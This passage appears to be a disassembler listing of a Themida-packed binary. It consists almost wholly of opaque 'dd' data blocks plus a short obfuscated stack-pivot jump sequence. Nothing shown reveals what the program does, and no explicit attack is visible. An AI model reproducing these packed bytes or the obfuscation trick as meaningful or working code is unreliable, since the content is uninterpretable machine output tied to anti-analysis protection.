		dd 0EBBC99D3h, 0BC4DDF8Dh, 0E42542A6h, 6D1F8831h, 9595B4D8h
		dd 0C55571BCh, 2542A731h, 5B311C2h, 491F145Ah, 3F60EBA0h
		dd 25429821h, 0FD444BEAh, 3FA6FFFFh, 2542A6ABh,	0B549DB8Dh
		dd 462542A6h, 135DDA95h, 2044D7B5h, 1458DD76h, 0A617A737h
		dd 0AE522542h, 8D1D186Ch, 0F3AAE6C1h, 0A34D1E97h, 0EC55290Ah
		dd 4CE143C6h, 9B6CFBC1h, 721CEDBEh, 0CA032E4h, 9D25422Dh
		dd 9DB08EECh, 0C78E1EFBh, 516390F8h, 7F3C53C7h,	0FE6EC8C2h
		dd 217F5021h, 550F4769h, 237F6A9h, 3F4F0000h, 2542A6AAh
		dd 0FCACC85Eh, 9673F53Fh, 27B967C5h, 1F45BCCEh,	59F29C4Dh
		dd 0D99BA6DCh, 7D5A2BFCh, 1AF771C2h, 0B794D45Fh, 732341D7h
		dd 0A76D18E1h, 13188BE6h, 9CCC7C4Eh, 7633A677h,	33E0FB1Dh
		dd 0DB5B958h, 18220000h, 1A19B25Ch, 2A0BA44Eh, 35FF9842h
		dd 46F08933h, 27047C26h, 0DC86E650h, 0D27CF443h, 0C771FF39h
		dd 0B761132Eh, 19AD3FD1h, 0AA23618Fh, 2D14BD44h, 0FDBA6A47h
		dd 0F5D33137h, 0FF914127h, 1F23A9ABh, 1AD78738h, 41EF4D27h
		dd 0BBBB184h, 0A784E84Eh, 37D078D6h, 0BAB284FEh, 0AA5C0CE9h
		dd 9E458418h, 0E5A215DCh, 2DDBAACAh, 8E47A576h,	4E4C1B3h
		dd 0F0A25236h, 9EE34E5Eh, 0D98FA5DCh, 8B262BFCh, 10E1BEB6h
		dd 0A133E13Fh, 0E6999160h, 0FC8F02B3h, 0DDE10176h, 0D196302h
		dd 0B4860000h, 0B67D16C0h, 0C66F08B2h, 0D163FCA6h, 0E254ED97h
		dd 8B68E08Ah, 40EA82B4h, 36E090A7h, 2BD59B9Dh, 1BC5AF92h
		dd 0FD11A335h, 0E23618Ch, 621F21A8h, 0EABB98D4h, 66ED38Ch
		dd 8212A456h, 0F2542A6h, 7525005Eh, 0B6BED5E0h,	4AA80C81h
		dd 0ABADE6Ch, 0A784E84Dh, 38CA78D6h, 1F450FD1h,	4353E597h
		dd 50DCA12Fh, 0A33E419Fh, 2BFCD993h, 2A17B05Ah,	59DD9A4Ah
		dd 9B3CB451h, 0EDF8E52h, 5A026031h, 3AEA8E9Ch, 52B0C47Dh
		dd 8FC112A4h, 0A556E6C0h, 6FFD38F5h, 63092CC5h,	0FE76CB86h
		dd 8DEB4121h, 0DDD64BDDh, 0F5B2EC85h, 80512E42h, 0FB6E1F22h
		dd 0E71DB262h, 5CCD6C47h, 0C900000Ch, 0C0590371h, 0B24BF573h
		dd 0A63FE983h, 9730DA8Eh, 0AB23CD9Fh, 2D3FF7CCh, 234DEA83h
		dd 1858E079h, 86CD56Eh,	54E6785Eh, 23618D40h, 1464EB51h
		dd 0CEF852Dh, 335E898h,	3ED08232h, 25425BAEh, 8FD8E8ADh
		dd 292E6403h, 0F084BD78h, 41D7B792h, 0ACE17323h, 541F45A7h
		dd 0F3D0A097h, 18E43760h, 0D1A27B8Fh, 0AD7F8F21h, 0DB8CDCA1h
		dd 1FC97A7Dh, 11BBAD86h, 13D0BD78h, 2ABA4A22h, 0CDCA1ADh
		dd 0A1AD6A7Ah, 0C1C677DCh, 7953F10h, 0F9411472h, 99F7CC56h
		dd 3B59EFF2h, 0D670F98Bh, 0FBB81F45h, 0D3D6343Ch, 25B54522h
		dd 0F8DCA076h, 9954313Fh, 3EEFCCA8h, 62EA8496h,	0A94342D8h
		dd 0D0ED1DECh, 0A4h, 0C4938D22h, 0CF9264FCh, 8A1FCA71h
		dd 536C1BA3h, 0F543FE02h, 6FCD9E7Bh, 3BEB7DB6h,	6DC7C37Eh
		dd 7C4D1EFBh, 9570CE9Fh, 320F59DAh, 0AE3ED082h,	3B254230h
		dd 0C1732C8Ah, 240FCAA7h, 9BFF9444h, 0B8646447h, 5D2E42F5h
		dd 839957FFh, 0E2A335E5h, 311F456Eh, 26E0D80h, 14EFDADDh
		dd 0B3675h, 0DD97A300h,	0CF999A33h, 0C3A98C25h,	0B4B48019h
		dd 0A7C5710Ah, 0D1A685FDh, 0C45D0765h, 0BA53FD73h, 0AF48F27Eh
		dd 5238E292h, 8A9E2EC0h, 0C52B2361h, 7B8A1F3Eh,	52EB1447h
		dd 44EFA806h, 77FD7A24h, 58000000h, 83338A1Fh, 6E07E3DCh
		dd 8CDC5710h, 6D6AFFAFh, 62982239h, 330468CDh, 4321F7D5h
		dd 0A9380193h, 38AB1F45h, 5A7A7011h, 7084161Bh,	81DCA00Dh
		dd 226CFFD0h, 0BF09CB4Dh, 5F047748h, 40DADE37h,	0AADC665h
		dd 201A0000h, 2211AA54h, 32039C46h, 3DF7903Ah, 4EE8812Bh
		dd 3FFC741Eh, 0D47EEE48h, 0CA74FC3Bh, 0BF690731h, 0AF591B26h
		dd 11A537C9h, 0A223618Ah, 6D1FB53Ch, 42A6CBDBh,	0B648D825h
		dd 2542A626h, 0D33102B3h, 704D271Ah, 23268CB5h,	26736CBBh
		dd 93F5681Ch, 0D32E2A00h, 8B9E1DC1h, 2AE5B64Bh,	0B592630Dh
		dd 0D9B664ECh, 99019527h, 0E1922542h, 721CB83h,	0B5814FFh
		dd 0B1000002h, 75C32F08h, 58CD5F0Fh
dword_59EF28	dd 0EB1F45ABh, 6ACD8A3Ah, 0FA582906h, 0DA621DA9h, 510E2D32h
					; DATA XREF: Themida_:00565197o
		dd 0D4949FE7h, 0F7552603h, 0B5650319h, 0E9AD223h, 0D3B06119h
		dd 8F3F25F3h, 0AA0864D2h, 0AC556AFCh, 0B1621F0Ch, 8DFD4401h
		dd 39E9C6AAh, 4F6217A7h, 22F3A4DFh, 330EA751h, 0C5D3CE41h
		dd 6944DAB2h, 9D2CAh, 79FB3F00h, 6BFD36CFh, 5F0D28C1h
		dd 50181CB5h, 43290DA6h, 6D422199h, 60F9A3C9h, 56EF99D7h
		dd 4BE48EE2h, 0EED47EF6h, 8B3ACA5Ch, 61C72361h,	491F14DAh
		dd 0FBBE8C6Ch, 42A65569h, 22B56625h, 0B98AF8C5h, 9747183Dh
		dd 23768C05h, 0A656071Fh, 0B1434EE9h, 0DC9F641Dh, 822CFDAEh
		dd 45224EE9h, 1B1D765h,	9801366Fh, 24D485E6h, 81B6D067h
		dd 0E6741EEFh, 83600C29h, 9C9B54B2h, 68F00712h,	7344F7C9h
		dd 3F3106C3h, 0F64B06E1h, 279D5EBCh, 0D9AAB89Fh, 426566h
		dd 58F7D2E1h, 933h, 30DA9AA0h, 22CC9C97h, 16C0AC89h, 7B1B77Dh
		dd 0FAA4C86Eh, 68CEA582h, 76C15A04h, 81B750FAh,	95AC45EFh
		dd 0BD4F35DFh, 61889B2Bh, 3BC22823h, 0A6AFE775h, 0EE9A2542h
		dd 0A61AAA3Ch, 0F6A72542h, 0AB28F298h, 0F2688419h, 600FDD21h
		dd 13492CCDh, 52B0A991h, 12C2A674h, 0D2C667Dh, 0E2400495h
		dd 6E7BA234h, 7B81F45h,	0D19B9A57h, 0B5D36927h,	0ADFD7305h
		dd 29DAE6ABh, 0EF85BC79h, 0DF95AC45h, 0FCA0656Ch, 3CDBB6E0h
		dd 8A7h, 0A44E2614h, 9640280Bh,	8A3438FDh, 7B2543F1h, 6E1854E2h
		dd 0F44239F6h, 235CE78h, 0D2BC46Eh, 2120B963h, 31C3A953h
		dd 61890F9Fh, 0AF369C23h, 42A6AB3Fh, 0B5BF8225h, 99FF4D0Bh
		dd 5ABA57E9h, 28D91F45h, 9131C678h, 56FD22Bh, 0CAC45728h
		dd 6E2785D6h, 0F177BCCAh, 5BDD7620h, 3810A436h,	11A1DCA0h
		dd 0A0386F7Fh, 0FACB7CDCh, 35C77929h, 0DCA038A1h, 48238132h
		dd 82AA9h, 59EF0400h, 0BCF98B3Bh, 1F1F45BCh, 0E901916Eh
		dd 77DCA070h, 56582DEDh, 0E5ED1DEAh, 15Bh, 4C24143Eh, 0E83B46Fh
		dd 42A6687Ch, 0A83CCE25h, 392542A6h, 1D28388h, 0B2D86924h
		dd 3B0CE983h, 2BDD8D6Ah, 42A60599h, 87E59625h, 5C066ACEh
		dd 1EFB75C3h, 979EEC3Eh, 0C25404D5h, 2542A67Ah,	126946F7h
		dd 60D8AC6Eh, 2D5D704Eh, 0BFD2650Bh, 0E791626Eh, 0D1979C59h
		dd 0F27EBA73h, 0A67D8515h, 7824DABDh, 0A6A034C6h, 9631DABDh
		dd 9DFBCCA0h, 0D76123F7h, 1F31EF99h, 8517C979h,	0DABDA671h
		dd 0D99630F4h, 83887DE5h, 34C674D2h, 0DABDB4D8h, 1BD88839h
		dd 0A2735018h, 89AE6944h, 93A43DE7h, 0C4702DDDh, 0BA34C7A4h
		dd 47CBD33Eh, 6C47A576h, 34E490B1h, 0DAD4759Fh,	7A35C29Ah
		dd 7651AFB9h, 12EF79BBh, 625817Fh, 3BEE513h, 0AC5D3A32h
		dd 1581604h, 70C7BD5Dh,	7ABD5600h, 0E33919F6h, 9123D585h
		dd 0DABD2D7Dh, 2DBD51E3h, 9D4EDABDh, 0A537E798h, 0DABD2D11h
		dd 0E593F1A2h, 0BA284E53h, 0EA9445E0h, 0AD8AE651h, 0AC3E7BCDh
		dd 0DCA02018h, 7727F8A9h, 0A020ADE5h, 5835E6DCh, 0C7BD5D01h
		dd 4D1F1670h, 0FE39D27Ch, 67B59572h, 0B85BB23Fh, 0A0519626h
		dd 0DF7223DCh, 0C39482EDh, 2B208113h, 4B08E6A7h, 0CCA095E9h
		dd 0FF9A9DFBh, 895A3739h, 0C2750EB8h, 0CD6B04AEh, 0EF72F9A3h
		dd 0D98B3B59h, 42A6B747h, 0C2A68E25h, 0B9B2DBDh, 982542A6h
		dd 0AB816E7h, 45B90578h, 8E5961Fh, 9F98E64Dh, 0C85600D1h
		dd 4CF72333h, 0BB6B9AC0h, 0A09C9529h, 177526DCh, 3E5EEF70h
		dd 0A639D161h, 2D142542h, 85AF6A47h, 0BAF06E3h,	4DD75F0Fh
		dd 2F05C2CDh, 0A634C85Ah, 14C52542h, 832DE543h,	0BA14FF3Ch
		dd 1Dh,	491F1413h, 0A6C8DC6Ch, 0E3872542h, 82E64D37h, 0C51E6AD8h
		dd 38D72542h, 0FFFFFFB5h, 0DB6D1F93h, 2542A6CBh, 10C927D8h
		dd 0F29A4331h, 0B9AF8542h, 6AD0BDCh, 953E5EEFh,	8B159E25h
		dd 0B217FF30h, 48h, 3E5EEF0Bh, 0BB6D1F95h, 42A69529h, 0E5752625h
		dd 2542A6D1h, 0C014E754h, 898E12C3h, 3ACC7AD8h,	254244AAh
		dd 57CFF78Ch, 8F01BCB8h, 0D47D2E31h, 95DF621Fh,	14DE8937h
		dd 1FA0491Fh, 3896D262h, 2C30CB56h, 8B000000h, 953E5EEFh
		dd 0ABDF621Fh, 3512E38Dh, 0C6580664h, 2542A636h, 8EE65B18h
		dd 1C82E0B1h, 741FC069h, 0A0491F14h, 9A9C59EBh,	1FCD74D2h
		dd 0A6CBDB6Dh, 12222542h, 0A3A87956h, 6BFD37F2h, 8BE1540Dh
		dd 0A68E1EAEh, 25C92542h, 0C6A68FF5h, 0C2D26416h, 0CF2542A6h
		dd 0AA18C01Eh, 25429A2Ch, 8A1C75C3h, 0DABD547Ah, 3405D687h
		dd 0FFF40195h, 1F14F0FFh, 4BE19F49h, 1EEB7D2Dh,	0A51F45D5h
		dd 738717F4h, 0FDDCA069h, 0CCDEA773h, 6BED1DF7h, 0Ch, 0D4621FC4h
		dd 19D3A98h, 0F8000000h, 8B3B59EFh, 459FDCF9h, 1024BF1Fh
		dd 0EFAA8758h, 0C7A2444h, 0DCA05EB5h, 10C0B088h, 2D8BE553h
		dd 244CEC85h, 0EB3C8047h, 88432048h, 13E4C1AFh,	0AF8CDC58h
		dd 0BCB268ECh, 24BC51FDh, 493E4D63h, 37E389E7h,	0DB85EB4Dh
		dd 496FF42h, 0DCA05FF0h, 2F7F5001h, 79BBCF72h, 5F6E7E10h
		dd 0CA7BDCA0h, 1BD828F9h, 9FCD681Ah, 136F1CEh, 0B8F926Fh
		dd 2AA5F0Fh, 9FD56C18h,	621FA74Ch, 843C9AD6h, 157F306Ah
		dd 39325D7h, 90DAC2A6h,	0F8148F1Dh, 0EDF3E4Ch, 0A986EE53h
		dd 0C5067AD8h, 5F000000h, 87375DEFh, 24016BCAh,	1F4EF553h
		dd 9529BB6Dh, 702542A6h, 0EE9FA4C4h, 0A6F70290h, 0E6992542h
		dd 0ADBB7936h, 0FAA1FFD0h, 0D3778A1Fh, 0DD1F3218h, 621FD17Fh
		dd 0E58BADD1h, 89663708h, 667608B8h, 732542D7h,	27BD64C2h
		dd 8A1FA1F5h, 0ECC1844Ch, 3EF755E3h, 1FC87103h,	0A6CBDB6Dh
		dd 27D82542h, 0EF45EEC9h, 25953E5Eh, 0CA8A1F9Eh, 4C1C436Ah
		dd 8D0FC725h, 0AC17FF1Ch, 1Ch, 3E5EEF05h, 798D1F95h, 8A2542A6h
		dd 741F30D9h, 0A0491F14h, 273060EBh, 8B000000h,	953E5EEFh
		dd 0A6798D1Fh, 0B2272542h, 0B99CCBF3h, 0CA7344EBh, 1F14741Fh
		dd 59EBA049h, 4FE7979Ch, 9E6F4C1Dh, 17309940h, 8BFFFFFFh
		dd 0CBDB6D1Fh, 0D82542A6h, 0A626B648h, 2B32542h, 0DFEF8131h
		dd 0EC2542A6h, 1D24DD3Bh, 0DCA7A57h, 2FE8462Ah,	0DDF18312h
		dd 0EE2542A6h, 0ABC6C3Dh, 42A66478h, 0F474BF25h, 38E03EEFh
		dd 18C8AC7Ah, 0DF8DA966h, 45D33102h, 1F45B02Ch,	9F5F34A7h
		dd 137CE08h, 6EB8030h, 0F198C9D9h, 3739FEB9h, 914EFED9h
		dd 0D866C4B0h, 0DCA025C0h, 2F56C44Eh, 0ED1DBBBDh, 41BCh
		dd 8A1F1500h, 38159078h, 9573D13Ah, 7F31E187h, 97F57FC2h
		dd 456F9009h, 9572231Fh, 0A16FF505h, 0BAEC48DCh, 0DB2FA55Eh
		dd 98754695h, 341157DDh, 0FE70AA34h, 572EEC76h,	0ED1C5655h
		dd 0C5E4h, 2D143D00h, 67DA9747h, 7B581023h, 2BFCD9AAh
		dd 9042F2CDh, 42A6EEFEh, 0EC4AFB25h, 8C690333h,	1B1A70D1h
		dd 1ED08051h, 42A6788Ch, 0B84CDE25h, 492542A6h,	27E29398h
		dd 24FF5D0Fh, 9D8BDF74h, 63BBC874h, 7EDC8CA8h, 4EF87CC5h
		dd 42F574E0h, 0B6E57A25h, 0C6288D07h, 87BA73D1h, 97AA43EDh
		dd 0A2000DDh, 0D12CBE6Eh, 621F4521h, 0F34907B1h, 0A353E595h
		dd 0F0E6ABE7h, 64D28F3Fh, 71C55E08h, 8ABB88FBh,	411CE0FCh
		dd 276A2h, 1D57E300h, 0F59DA73h, 369CC65h, 0F474C059h
		dd 0E785B14Ah, 11E6C53Dh, 49D4725h, 0FA933D33h,	0EF88323Eh
		dd 92782252h, 935E6E00h, 56B2361h, 4A22147Eh, 3A3A07A0h
		dd 621F0990h, 0E583B1D5h, 42D8B614h, 0B5E47626h, 0FE1F45A5h
		dd 0C8E0704Dh, 56DCA059h, 0B5374ECCh, 0C4ED1DC3h, 0E3h
		dd 0D3621F1Dh, 0A69428BAh, 74252542h, 97F5C6A3h, 611163DEh
		dd 0E8B25CCh, 4EFD4018h, 0D788354Fh, 1F15D0A1h,	3D9B6C49h
		dd 0DD8FA762h, 3BE47000h, 42FF2542h, 3ED08232h,	254233AEh
		dd 842C8A3Bh, 70FC39F6h, 0AB64C293h, 2101DE96h,	0E8FC8E0Bh
		dd 0F9254233h, 15C77748h, 42337383h, 3CCF8025h,	4917476Eh
		dd 0D482E04Eh, 45B9FB42h, 9E05781Fh, 58536567h,	0C5832DFEh
		dd 0CF611177h, 0E6ABBB7Eh, 0DE92A562h, 1CCC7D80h, 0EB95D75Fh
		dd 1588E452h, 0E0FC3632h, 7C29C8A3h, 0E9000001h, 0E0792351h
		dd 0D26B1553h, 0C65F0963h, 0B750FA6Eh, 0CB43ED7Fh, 4D1F17ECh
		dd 432D0AA3h, 38380099h, 284CF58Eh, 7406987Eh, 23619060h
		dd 14840B71h, 0F2388822h, 0B98B18D1h, 0B9677709h, 0C3742542h
		dd 92AF48F2h, 14B138E2h, 93D95D2Dh, 3714E5B6h, 5AFC57Ch
		dd 0F37DBA77h, 361B795h, 0C344C153h, 6F2C1F45h,	0F4C5A2D2h
		dd 32E29396h, 0FEA8CC75h, 0FD81B370h, 8865363Ah, 270468CDh
		dd 6E278556h, 8A80DFD3h, 0A643AB47h, 218F8D5h, 4704B666h
		dd 93217FF1h, 0E6C17F06h, 2A46F28Dh, 38AB7C4Dh,	0E100D14Fh
		dd 0D05EFDD8h, 3D000000h, 34CD77FDh, 26BF69FFh,	1AB35D0Fh
		dd 0BA44E1Ah, 1F97412Bh, 0A1CB6B40h, 97D95EF7h,	8CE454EDh
		dd 7CF849E2h, 0C85AECD2h, 23619034h, 0EFD85FC5h, 0D2CD7959h
		dd 915D669Eh, 0E25310C0h, 45F2AD8Ah, 999F5A2Bh,	0CB29FAD7h
		dd 84D68B1Dh, 42DD1F23h, 0C89976F2h, 0E25F1AF7h, 0F24FE892h
		dd 0F4D19F98h, 9F70FC39h, 48194FE4h, 59F6DB6Bh,	5BDFCAEBh
		dd 8C1ED0BFh, 0C28DF878h, 5C43B3FBh, 535835ADh,	14F17FB8h
		dd 5B147243h, 21DE8EE6h, 87C15420h, 9B0F08FFh, 0AE3CE442h
		dd 0C92745F1h, 66433110h, 2DF89ABh, 711307ABh, 61FAA4D0h
		dd 7B794E0h, 0CB33C355h, 4DC0C28Dh, 0CAF3100Ch,	389667CBh
		dd 0A9Bh, 532EF00h, 5FBD8E6Bh, 14B65DB8h, 0B6714E26h, 510CE98Bh
		dd 0F1AC89E7h, 924D2A46h, 30EBC8A4h, 0CE896606h, 6A250266h
		dd 9C4A1CBh, 9C613E2Ah,	81E78957h, 4C7h, 4BB5300h, 29000000h
		dd 3C875BDFh, 89525C24h, 4C281E2h, 83000000h, 148704EAh
		dd 3C895C24h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 50241489h, 5E50F3B8h, 18CABF1Bh, 0C7014294h,	1CF8158h
		dd 0C1415173h, 0CF8107EFh, 11F1418Ah, 3621C781h, 8B54F427h
		dd 0C4812414h, 4, 8904EC83h, 428F243Ch,	24148B08h, 5E08950h
		dd 4, 405h, 24048700h, 2434FF5Ch, 4C4815Fh, 0E9000000h
		dd 0FFFA4752h, 9D41320Ah, 37CCB815h, 0C5030623h, 2585C650h
		dd 47061D1Bh, 38172568h, 0E5B5FFCFh, 8D061D11h,	1D3A8385h
		dd 8BD0FF06h, 1D858DD8h, 50061D23h, 10468h, 0C6D3FF00h
		dd 1D1B2585h, 0BF685306h, 0FF8307F8h, 1D11E5B5h, 83858D06h
		dd 0FF061D3Ah, 18589D0h, 8306231Ch, 1D26C9BDh, 840F0006h
		dd 0Bh,	0A59D8Bh, 5E9061Dh, 0BB000000h,	0
		dd 10068h, 5B58D00h, 5606231Ch,	9195FF53h, 8D061D33h, 231C05B5h
		dd 0E9F00306h, 1, 5C3E804Eh, 9840Fh, 3E800000h,	0ED850F2Fh
		dd 0C6FFFFFFh, 858D0006h, 6231C05h, 195FF50h, 5806231Ch
		dd 0AC11E0FFh, 0E8244458h, 0EECB58DDh, 62D82A63h, 39F81369h
		dd 2B0A68EFh, 0E1F645FDh, 86DD07C0h, 0AD1D7EB4h, 0F8886CD5h
		dd 0BC6D72CEh, 10E836F3h, 3F000000h, 0DF3CEC9Fh, 0E2FD9E38h
		dd 0F6031D66h, 0B59FB8E4h, 7E95A1Fh, 0CA000000h, 1DB7470Eh
		dd 0C2817CAAh, 641Dh, 0EDB8166h, 6BAEB896h, 0E8813C35h
		dd 3C3552EAh, 0E720BE66h, 0D98B3A8Bh, 290CF781h, 0F577EC9h
		dd 38Bh, 52EF8000h, 6AEF815Eh, 8B1D94B7h, 5DC781C8h, 0F06616Ah
		dd 1A8Ah, 13E800h, 0AE4D0000h, 0E4AEB742h, 15CC3AB0h, 0F26B31EEh
		dd 3FE6964Eh, 575BF9A0h, 5E9h, 0A6AD1300h, 28F81BDh, 13E9h
		dd 0B7D4B100h, 0B4E4A280h, 1806CF5h, 1FDA833Ah,	18239340h
		dd 5702EA83h, 0DE9h, 0A98DA300h, 63366E1Eh, 0BAAB6A6Ah
		dd 4A5E7CE3h, 61FC604Ah, 0F01E883h, 3985h, 0B9666000h
		dd 8B60EB68h, 12E9C1h, 412B0000h, 1EA4B554h, 234C1263h
		dd 2A6DDEA3h, 0D3FD29DDh, 25E96161h, 77000000h,	3D23E642h
		dd 0F3D89CAAh, 33D2DADCh, 16CA493h, 0E9F5B76Eh,	0FFFFFF34h
		dd 5DB46C89h, 6345D172h, 76A2AAC3h, 1B9026EBh, 0AFEC33B6h
		dd 746E558Eh, 2E6C6C64h, 6C6C64h, 7462188h, 0A3D25D34h
		dd 7164ED01h, 2	dup(0)
		dd 68CE9h, 3BFB6800h, 1FE90623h, 68FFFA45h, 6233CC3h, 0FA4515E9h
		dd 3D4268FFh, 0BE90623h, 68FFFA45h, 6233E26h, 0FA4501E9h
		dd 3ED968FFh, 0F7E90623h, 68FFFA44h, 6233FBBh, 0FA44EDE9h
		dd 85EF4BFFh, 77F142DBh, 6B0134CDh, 5C0C28C1h, 4F1D19B2h
		dd 794E2DA5h, 6C05AFBDh, 62FBA5CBh, 57F09AD6h, 0FAE08AEAh
		dd 9CC6D668h, 6DD32361h, 4430E6h, 0C7840000h, 0FAA1FF71h
		dd 6A472D14h, 0C82092AFh, 552DB111h, 2E17834Eh,	6DAEC49Bh
		dd 72FEC9Ch, 0D15F0765h, 96D2621Fh, 4264F606h, 0F4520325h
		dd 42645266h, 3CF7B425h, 207E4F2Ch, 8CB5D167h, 693A0BE8h
		dd 59EF38BFh, 5EAEE579h, 520396DAh, 0FF34EF95h,	0EABB8C69h
		dd 0E781A83Ah, 61121F45h, 2C44F4B1h, 45207E4Fh,	0A19625B5h
		dd 79A12BDCh, 1C0CE20Ch, 23B99EDh, 8F20000h, 0FE8C9AC0h
		dd 83543143h, 0FB6D02B2h, 0A351E4F7h, 2E469FCh,	0E97468ABh
		dd 0DA4BDD8Bh, 691F45A7h, 320365CEh, 0B15653DFh, 0D46218FBh
		dd 0CB6E00B0h, 0D82AF1F3h, 0DD9A4A27h, 60102757h, 26E1B283h
		dd 0B1825F11h, 0C1A77553h, 8C607F11h, 1ACC30B5h, 34027488h
		dd 76D4850Ch, 6012C273h, 77C018CBh, 147283D7h, 0E48EE65Bh
		dd 0CE11C156h, 37FAC7Ah, 217FED48h, 289BD968h, 0AB4A97C6h
		dd 7CB5542Fh, 19000004h, 10A95321h, 29B4523h, 0F68F3933h
		dd 0E7802A3Eh, 0FB731D4Fh, 7DEF473Ch, 73FD3AD3h, 680830C9h
		dd 581C25BEh, 0A436C8AEh, 23619D10h, 14B43BA1h,	0DA97472Dh
		dd 77320F59h, 0D1AEBEh,	16F6D12Fh, 22B46400h, 1F45AC63h
		dd 0BDC17005h, 870D88AAh, 0CB752629h, 62B8E626h, 12A45606h
		dd 0DCA00182h, 52005E0Fh, 1C54E3A0h, 0CFD30BEh,	0EA3E6A7h
		dd 320F364Eh, 0DD2CAF42h, 3B4B715h, 0D96324B0h,	500D5E03h
		dd 0DBAC89E7h, 0EB899F7Dh, 0A0F4893Bh, 0F6CC498Ah, 90992785h
		dd 3446224h, 87957552h,	0CD7431E1h, 320FCAA7h, 65137142h
		dd 28E1CCD3h, 6A1ACB4Ah, 36E094ADh, 5DD0A49Dh, 85D6AFF5h
		dd 0B4EA8964h, 51000003h, 48E18BE9h, 3AD37DEBh,	2EC771FBh
		dd 1FB86206h, 33AB5517h, 0B5B77F74h, 0ABC5720Bh, 0A0D06801h
		dd 90E45DF6h, 0DC6E00E6h, 23619AC8h, 14EC73D9h,	8A6A472Dh
		dd 9628D8BCh, 1F459DDFh, 23E18B3Ch, 2DBF6F15h, 0E6C13A3Bh
		dd 722FDF90h, 0E19BE3CFh, 0D828264h, 4704923Ch,	3BCD7DEFh
		dd 0D6FD90ABh, 70298738h, 0E6C6A3D1h, 0F2843450h, 0ECFA894Bh
		dd 76249748h, 57E71E99h, 335DD7Ch, 68D20000h, 6AC9620Ch
		dd 7ABB54FEh, 85AF48F2h, 96A039E3h, 0F7B42CD6h,	8C363600h
		dd 822C44F3h, 77214FE9h, 671163DEh, 495DEF81h, 5A23619Bh
		dd 2D146DF4h, 5DDA9747h, 0FADAB513h, 0E698482Ch, 4620E29h
		dd 45B75776h, 0AF04991Fh, 0E4CC5895h, 0A5CE9C9Dh, 1022F112h
		dd 54FEAFB2h, 18CD7h, 0E7792B00h, 0DCA0D9D7h, 0C07833E4h
		dd 0A402D3B0h, 9FCB08FDh, 39370189h, 7406B868h,	2542A660h
		dd 432DC071h, 0A90B2CA4h, 982AD836h, 1F45F265h,	985505B6h
		dd 0EE7E0C9Eh, 6EB9E3E7h, 91EFC09Dh, 4164B440h,	85422BC4h
		dd 0EDFBCB0h, 2044D2B0h, 788CDB70h, 0FE4B5363h,	4D60F2A0h
		dd 5E1BE343h, 6320D0ADh, 5E3C9AD2h, 6AFCACC8h, 0E1AB4555h
		dd 4401B162h, 34CD77FDh, 40F4670Dh, 0E1DC574Bh,	2516706h
		dd 4CEE0000h, 4EE57E28h, 5ED7701Ah, 69CB640Eh, 7ABC55FFh
		dd 13D048F2h, 0A8521A1Ch, 9E48280Fh, 933D3305h,	832D47FAh
		dd 65790B9Dh, 76236198h, 2D148910h, 0BC8A6A47h,	0F79628D8h
		dd 241F45ACh, 3006C373h, 9136DE3Ch, 7311277Dh, 4EFC31C3h
		dd 9E4FE6A7h, 3508BF4Bh, 42F46424h, 0A1471CB0h,	9EFCAD41h
		dd 11246AC0h, 0DCAD7E5Bh, 0A3C56F2Ch, 474D61F3h, 0AD5E41A1h
		dd 0FE0FA14Fh, 0D7BA64Fh, 48EFAC5Ch, 0FEFCA28h,	19AB5B39h
		dd 41E4598Ah, 6E779E11h, 10B34CC0h, 0E4D96E7Eh,	0F9CA7B7Dh
		dd 86BB7828h, 96AB44EEh, 29A16BDEh, 0AD887C1Ah,	19E0Eh
		dd 75FF3B00h, 670132CBh, 5B1124BDh, 4C1C18B1h, 3F2D09A2h
		dd 695E1D95h, 5CF59FCDh, 52EB95DBh, 47E08AE6h, 0EAD07AFAh
		dd 9836C658h, 5DC32361h, 5D2D14D6h, 0E4C192D6h,	0B9429F34h
		dd 4FAFF605h, 5F0513F1h, 5D501DAFh, 5B181F45h, 0E3B491DBh
		dd 27D18285h, 3B59EFA0h, 0B747D98Bh, 442542A6h,	0F5873593h
		dd 1F23CC71h, 71EC22B7h, 9A62F751h, 0D888393Ch,	0E8369126h
		dd 0AE268315h, 0CAAA9750h, 0BABA8720h, 0E67B2DDDh, 0D21D1668h
		dd 0DBEB7B0Eh, 0E8DC9EC5h, 0B1B77C37h, 0C1A77553h, 0AFC57F11h
		dd 722FE6FFh, 0FCCDAAC6h, 3AEA9B9Eh, 0E48EF388h, 94C62971h
		dd 0B0C47D36h, 9C67806h, 8E5F3C38h, 0FB18EEFEh,	0EC4AFBD6h
		dd 89660E33h, 45F593A9h, 0FC6ADAB3h, 158839ECh,	0E7241D85h
		dd 0BCDA7954h, 59000000h, 50E993E1h, 42DB85E3h,	36CF79F3h
		dd 27C06AFEh, 3BB35D0Fh, 0BDAF877Ch, 0B3BD7A13h, 0A8C87009h
		dd 98DC65FEh, 0E47608EEh, 236199D0h, 0EFF47BE1h, 0F98B3B59h
		dd 1F23CC6Dh, 25E0BD6Eh, 20AE581Ch, 48D7D363h, 0B931FE1h
		dd 0D68FEDBEh, 9C2C096Bh, 0A95C479Fh, 0B18EE256h, 0F14240F6h
		dd 0C6C9A677h, 0D396D842h, 88B9CB4Fh, 0B47F3CECh, 0A806D7B4h
		dd 9ADA6700h, 63092DEAh, 7C57B586h, 5A240FCCh, 0DFB08DE7h
		dd 3DF7B00Eh, 53F74E2Bh, 360BC8C7h, 1A27E03Eh, 2A17B05Ah
		dd 1CCE6D4Ah, 22000000h, 0E880B370h, 1AAA3A0Bh,	0A7A7D676h
		dd 1FF198F6h, 3D9BD562h, 0D3621FCDh, 14943B99h,	0B6714E26h
		dd 510CE98Bh, 0F1AC89E7h, 924D2A46h, 30EBC8A4h,	0CE896606h
		dd 6A250266h, 9C4A1CBh,	9C613E2Ah, 52E08950h, 4BAh, 5AD00100h
		dd 8704E883h, 685C2404h, 3BC8h,	68242C89h, 7200h, 83243489h
		dd 3C8904ECh, 3AC9BF24h, 0FD890623h, 348B545Fh,	4C48324h
		dd 8BA52h, 0F2010000h, 89EE8956h, 8B5A5E32h, 89512434h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 242C8B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544162
; ---------------------------------------------------------------------------
		dd 0CFF4A5BAh, 409CB826h, 0C5030623h, 34C5E0FFh, 9EF631F2h
		dd 9DC6721Ch, 874C41C4h, 0AA37243Fh, 0C5BB5092h, 0A12B761Eh
		dd 9D4777C7h, 0A40A3790h, 0ACBB38C2h, 0F67C2AFCh, 4A672FF9h
		dd 585656ACh
